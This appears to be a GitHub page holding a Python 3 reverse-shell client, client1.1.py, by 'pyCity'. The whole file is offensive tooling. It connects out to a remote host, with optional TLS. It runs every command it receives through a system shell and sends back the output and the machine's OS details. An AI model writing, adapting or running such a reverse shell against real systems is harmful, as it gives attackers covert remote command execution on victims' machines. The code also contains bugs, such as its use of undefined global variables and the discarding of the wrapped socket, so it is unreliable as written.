-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathclient1.1.py
89 lines (70 loc) · 2.84 KB
/
client1.1.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
#!/usr/bin/env python3
"""
Author - pyCity
Date - 2/2/2019
Version - 1.1
Usage: - python client.py --tls 127.0.0.1 4444
Description: - Reverse shell in python 3. Uses TLS encryption with
- a DHE-RSA-AES256-SHA256 cipher.
"""
import socket
import subprocess
import os
import platform
import sys
import time
import argparse
import ssl
class Client:
s = socket.socket()
socket.setdefaulttimeout(10)
def __init__(self, host, port, enc):
self.host = host
self.port = port
self.enc = enc
def connect(self, s):
"""Enable encryption and connect socket object to server"""
# Wait 5 secs if connection is not immediately successful
for i in range(10):
try:
if enc == True:
context = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2)
context.set_ciphers('DHE-RSA-AES256-SHA256')
context.load_dh_params("dhparam.pem")
context.load_cert_chain(certfile="server.crt", keyfile="server.key")
s = context.wrap_socket(s, do_handshake_on_connect=True)
s.connect((host, port))
except:
time.sleep(5)
def shell(self, s):
"""Receive commands from remote server and run on local machine (with added
convenience calls)"""
while True:
data = s.recv(1024).decode("utf-8")
if data[:2] == 'cd':
os.chdir(data[3:].strip())
elif data[:2].strip() == "os":
s.send(str.encode(" -- OS : " + sys.platform + " " + platform.release() + "\n" +
" -- Build : " + platform.version() + "\n" +
" -- Python version : " + platform.python_version() + "\n"))
elif data[:4].strip() == "kill":
break
if len(data) > 0:
cmd = subprocess.Popen(data[:], shell=True,
stdout=subprocess.PIPE, stderr=subprocess.PIPE,
stdin=subprocess.PIPE)
bytes_recieved = cmd.stdout.read() + cmd.stderr.read()
output = str(bytes_recieved, "utf-8")
s.send(str.encode(output + str(os.getcwd()) + '#> '))
s.close()
sys.exit()
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Python remote tcp client")
parser.add_argument("host", help="Remote host name to connect to")
parser.add_argument("port", help="Remote port to connect to", type=int)
parser.add_argument("--tls", help="Enable TLS encryption", action="store_true")
args = parser.parse_args()
host, port, enc = args.host, args.port, args.tls
client1 = Client(host, port, enc)
client1.connect(client1.s)
client1.shell(client1.s)